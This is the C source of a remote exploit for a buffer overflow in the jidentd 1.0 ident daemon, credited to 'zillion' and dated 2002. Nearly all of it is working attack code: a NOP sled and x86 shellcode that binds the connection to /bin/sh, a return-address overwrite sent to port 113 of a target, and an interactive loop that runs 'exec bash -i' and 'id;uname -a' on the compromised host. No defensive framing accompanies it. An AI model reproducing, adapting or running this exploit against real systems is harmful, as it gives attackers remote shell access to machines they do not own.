/* * Linux jidentd 1.0 exploit by zillion[at]safemode.org 09/2002 * * Note: This is not the first exploit for this very old vulnerability. * * Greets to 0dd ;] * */ #include #include #include #include #include #include #include #define BUFFER_SIZE 995 + 8 #define PORT 113 #define NOP 0x90 #define RET 0xbffff7c0 #define EXEC ";TERM=xterm; export TERM=xterm;exec bash -i" #define EXEC2 "id;uname -a;" char shellcode[] = /* dup2(4,2) dup2(4,1) dup2(4,0) */ "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04\xcd" "\x80\x75\xf6" /* execve /bin/sh */ "\x31\xc0\x31\xdb\x31\xc9\xeb\x18\x5e\x88\x46\x07\x8d\x1e\x89" "\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" "\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; void usage(char *progname) { printf("\n*----- jidentd 1.0 exploit by zillion (s-m0de) -----*\n"); printf("\nDefault : %s -t ",progname); printf("\nOffset : %s -o ",progname); printf("\nPort : %s -p \n\n",progname); exit(0); } int open_connection(char* host, int port) { struct sockaddr_in s_in; int sock; s_in.sin_family = AF_INET; s_in.sin_addr.s_addr = inet_addr(host); s_in.sin_port = htons(port); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) <= 0) { printf("Sorry, could not create a socket\n"); exit(1); } if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) { printf("Connection to %s:%d failed: %s\n", host, port, strerror(errno)); exit(1); } return sock; } /* Based on mixter's code with changes by core and me */ int sh(int sockfd) { char snd[1024], rcv[1024]; fd_set rset; int maxfd, n,test; strcpy(snd, EXEC "\n"); write(sockfd, snd, strlen(snd)); read(sockfd,rcv,7); if(test = strncmp(rcv,"/bin/sh", 7)) { printf("Exploit failed.. \"%s\" --> return code %d \n",rcv,test); exit(1); } fflush(stdout); strcpy(snd, EXEC2 "\n"); write(sockfd, snd, strlen(snd)); /* Main command loop */ for (;;) { FD_SET(fileno(stdin), &rset); FD_SET(sockfd, &rset); maxfd = ( ( fileno(stdin) > sockfd )?fileno(stdin):sockfd ) + 1; select(maxfd, &rset, NULL, NULL, NULL); if (FD_ISSET(fileno(stdin), &rset)) { bzero(snd, sizeof(snd)); fgets(snd, sizeof(snd)-2, stdin); write(sockfd, snd, strlen(snd)); } if (FD_ISSET(sockfd, &rset)) { bzero(rcv, sizeof(rcv)); if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) { /* exit */ return 0; } if (n < 0) { perror("read"); return 1; } fputs(rcv, stdout); fflush(stdout); /* keeps output nice */ } } /* for(;;) */ } int main(int argc, char **argv){ char buffer[BUFFER_SIZE]; char target[100]; long retaddress; int fd,arg,port=113,offset=600; if(argc < 2) { usage(argv[0]); } while ((arg = getopt (argc, argv, "t:o:p:")) != -1){ switch (arg){ case 't': strncpy(target,optarg,sizeof(target)); break; case 'o': offset = atoi(optarg); break; case 'p': port = atoi(optarg); break; default : usage(argv[0]); } } retaddress = (RET - offset); memset(buffer,NOP,BUFFER_SIZE); memcpy(buffer + BUFFER_SIZE - (sizeof(shellcode) + 8) ,shellcode,sizeof(shellcode) -1); /* Overwrite EBP and EIP */ *(long *)&buffer[BUFFER_SIZE - 8] = retaddress; *(long *)&buffer[BUFFER_SIZE - 4] = retaddress; /* Setting up the connection */ fd = open_connection(target,port); write(fd,buffer,strlen(buffer)); sh(fd); close(fd); return 0; }